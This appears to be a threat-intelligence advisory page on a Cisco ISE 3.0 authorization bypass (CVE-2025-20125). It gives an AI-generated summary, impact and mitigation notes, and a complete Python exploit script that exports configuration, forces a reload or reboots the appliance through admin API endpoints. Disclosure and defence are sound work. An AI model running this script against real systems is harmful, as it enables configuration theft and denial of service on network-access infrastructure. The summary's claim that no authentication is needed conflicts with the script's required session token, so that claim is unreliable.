Cisco ISE 3.0 - Authorization Bypass
Cisco ISE 3.0 - Authorization Bypass
AI Analysis
Technical Summary
The Cisco Identity Services Engine (ISE) version 3.0 suffers from an authorization bypass vulnerability that allows remote attackers to circumvent authorization mechanisms. Cisco ISE is a critical network security product used for centralized identity management, policy enforcement, and network access control. The vulnerability enables attackers to perform actions or access resources that should be restricted, potentially leading to unauthorized configuration changes, exposure of sensitive network data, or disruption of network access policies. The exploit is remotely executable and does not require prior authentication, increasing the attack surface. Publicly available exploit code written in Python facilitates exploitation, lowering the barrier for attackers. Although no active exploitation has been reported, the presence of exploit code in the wild increases the risk of future attacks. The lack of official patches or mitigation guidance from Cisco at the time of disclosure necessitates immediate defensive measures. This vulnerability impacts the confidentiality and integrity of network management operations, and could indirectly affect availability if network policies are disrupted. Organizations relying on Cisco ISE 3.0 should prioritize detection and containment strategies while monitoring for updates from Cisco.
Potential Impact
For European organizations, this vulnerability poses significant risks due to the widespread use of Cisco ISE in enterprise and governmental networks for enforcing network access policies. Unauthorized access to Cisco ISE could allow attackers to manipulate network access controls, potentially granting unauthorized users access to sensitive internal resources or disrupting legitimate user access. This could lead to data breaches, compliance violations (especially under GDPR), and operational disruptions. Critical infrastructure sectors such as finance, healthcare, and telecommunications, which heavily rely on Cisco ISE for secure network management, are particularly vulnerable. The ability to exploit this vulnerability remotely without authentication increases the likelihood of targeted attacks or opportunistic exploitation. The compromise of network access controls could also facilitate lateral movement within networks, amplifying the impact of subsequent attacks. The absence of patches means organizations must rely on network segmentation, monitoring, and access restrictions to mitigate risk in the short term.
Mitigation Recommendations
1. Implement strict network segmentation to isolate Cisco ISE servers from untrusted networks and limit access to management interfaces only to authorized personnel and systems. 2. Employ robust network monitoring and intrusion detection systems to detect anomalous access patterns or unauthorized attempts to interact with Cisco ISE. 3. Restrict administrative access to Cisco ISE consoles and APIs using multi-factor authentication and IP whitelisting where possible. 4. Regularly audit Cisco ISE logs for signs of unauthorized access or configuration changes. 5. Temporarily disable or restrict non-essential services and interfaces on Cisco ISE that could be exploited remotely. 6. Stay informed on Cisco advisories and apply patches or updates immediately once available. 7. Consider deploying web application firewalls or reverse proxies to add an additional layer of access control and filtering for Cisco ISE management endpoints. 8. Conduct internal penetration testing and vulnerability assessments focused on Cisco ISE to identify and remediate potential exploitation paths.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden, Belgium, Poland, Switzerland
Indicators of Compromise
- exploit-code: # Exploit Title: Cisco ISE 3.0 - Authorization Bypass # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Authorization Bypass # CVE: CVE-2025-20125 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import urllib3 urllib3.disable_warnings() def banner(): print(r""" ___ ____ ___ ___ _____ ____ ___ ____ / __)(_ _)/ __) / __)( _ ) (_ _)/ __)( ___) ( (__ _)(_ \__ \( (__ )(_)( _)(_ \__ \ )__) \___)(____)(___/ \___)(_____) (____)(___/(____) Cisco ISE Authorization Bypass CVE-2025-20125 Author: ibrahmsql | github.com/ibrahmsql """) def exploit_config_read(base_url, session_token): """ CVE-2025-20125: Read sensitive configuration """ endpoint = f"{base_url}/api/v1/admin/config/export" headers = { "Cookie": f"ISESSIONID={session_token}", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Attempting to read configuration from: {endpoint}") try: r = requests.get(endpoint, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Configuration read successful!") print(f"[+] Response length: {len(r.text)} bytes") if r.text: print(f"[+] Config preview: {r.text[:300]}...") return True else: print(f"[-] Config read failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_config_reload(base_url, session_token): """ CVE-2025-20125: Force configuration reload """ endpoint = f"{base_url}/api/v1/admin/reload" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Sending config reload request to: {endpoint}") try: r = requests.post(endpoint, headers=headers, verify=False, timeout=10) if r.status_code in (200, 204): print("[+] Configuration reload accepted!") print("[+] System may be restarting services...") return True elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") else: print(f"[-] Reload failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_system_reboot(base_url, session_token): """ CVE-2025-20125: Force system reboot """ endpoint = f"{base_url}/api/v1/admin/reboot" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Sending system reboot request to: {endpoint}") print("[!] WARNING: This will reboot the target system!") try: r = requests.post(endpoint, headers=headers, verify=False, timeout=10) if r.status_code in (200, 204): print("[+] System reboot initiated!") print("[+] Target system should be rebooting now...") return True else: print(f"[-] Reboot failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-20125 - Cisco ISE Authorization Bypass", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20125.py --url https://ise.company.com --session ABCD1234 --read python3 CVE-2025-20125.py --url https://10.0.0.1:9060 --session TOKEN123 --reload python3 CVE-2025-20125.py --url https://ise.target.com --session XYZ789 --reboot """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--read", action="store_true", help="Read sensitive configuration") parser.add_argument("--reload", action="store_true", help="Force configuration reload") parser.add_argument("--reboot", action="store_true", help="Force system reboot") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) # At least one action must be specified if not any([args.read, args.reload, args.reboot]): print("[-] Specify at least one action: --read, --reload, or --reboot") sys.exit(1) success = False if args.read: success |= exploit_config_read(args.url, args.session) if args.reload: success |= exploit_config_reload(args.url, args.session) if args.reboot: # Confirm reboot action confirm = input("[!] Are you sure you want to reboot the target? (y/N): ") if confirm.lower() in ['y', 'yes']: success |= exploit_system_reboot(args.url, args.session) else: print("[-] Reboot cancelled by user") if success: print("\n[+] At least one exploit succeeded!") else: print("\n[-] All exploits failed") sys.exit(1) if __name__ == "__main__": main()
Cisco ISE 3.0 - Authorization Bypass
Description
Cisco ISE 3.0 - Authorization Bypass
AI-Powered Analysis
Technical Analysis
The Cisco Identity Services Engine (ISE) version 3.0 suffers from an authorization bypass vulnerability that allows remote attackers to circumvent authorization mechanisms. Cisco ISE is a critical network security product used for centralized identity management, policy enforcement, and network access control. The vulnerability enables attackers to perform actions or access resources that should be restricted, potentially leading to unauthorized configuration changes, exposure of sensitive network data, or disruption of network access policies. The exploit is remotely executable and does not require prior authentication, increasing the attack surface. Publicly available exploit code written in Python facilitates exploitation, lowering the barrier for attackers. Although no active exploitation has been reported, the presence of exploit code in the wild increases the risk of future attacks. The lack of official patches or mitigation guidance from Cisco at the time of disclosure necessitates immediate defensive measures. This vulnerability impacts the confidentiality and integrity of network management operations, and could indirectly affect availability if network policies are disrupted. Organizations relying on Cisco ISE 3.0 should prioritize detection and containment strategies while monitoring for updates from Cisco.
Potential Impact
For European organizations, this vulnerability poses significant risks due to the widespread use of Cisco ISE in enterprise and governmental networks for enforcing network access policies. Unauthorized access to Cisco ISE could allow attackers to manipulate network access controls, potentially granting unauthorized users access to sensitive internal resources or disrupting legitimate user access. This could lead to data breaches, compliance violations (especially under GDPR), and operational disruptions. Critical infrastructure sectors such as finance, healthcare, and telecommunications, which heavily rely on Cisco ISE for secure network management, are particularly vulnerable. The ability to exploit this vulnerability remotely without authentication increases the likelihood of targeted attacks or opportunistic exploitation. The compromise of network access controls could also facilitate lateral movement within networks, amplifying the impact of subsequent attacks. The absence of patches means organizations must rely on network segmentation, monitoring, and access restrictions to mitigate risk in the short term.
Mitigation Recommendations
1. Implement strict network segmentation to isolate Cisco ISE servers from untrusted networks and limit access to management interfaces only to authorized personnel and systems. 2. Employ robust network monitoring and intrusion detection systems to detect anomalous access patterns or unauthorized attempts to interact with Cisco ISE. 3. Restrict administrative access to Cisco ISE consoles and APIs using multi-factor authentication and IP whitelisting where possible. 4. Regularly audit Cisco ISE logs for signs of unauthorized access or configuration changes. 5. Temporarily disable or restrict non-essential services and interfaces on Cisco ISE that could be exploited remotely. 6. Stay informed on Cisco advisories and apply patches or updates immediately once available. 7. Consider deploying web application firewalls or reverse proxies to add an additional layer of access control and filtering for Cisco ISE management endpoints. 8. Conduct internal penetration testing and vulnerability assessments focused on Cisco ISE to identify and remediate potential exploitation paths.
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52397
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Cisco ISE 3.0 - Authorization Bypass
# Exploit Title: Cisco ISE 3.0 - Authorization Bypass # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Authorization Bypass # CVE: CVE-2025-20125 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse im... (5551 more characters)
Threat ID: 689a95b8ad5a09ad002b09ad
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:41:49 AM
Last updated: 11/10/2025, 10:01:08 PM
Views: 131
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Related Threats
Runc Vulnerabilities Can Be Exploited to Escape Containers
MediumQNAP Patches Vulnerabilities Exploited at Pwn2Own Ireland
CriticalMicrosoft Uncovers 'Whisper Leak' Attack That Identifies AI Chat Topics in Encrypted Traffic
MediumCisco: Actively exploited firewall flaws now abused for DoS attacks
HighQNAP fixes seven NAS zero-day flaws exploited at Pwn2Own
CriticalActions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.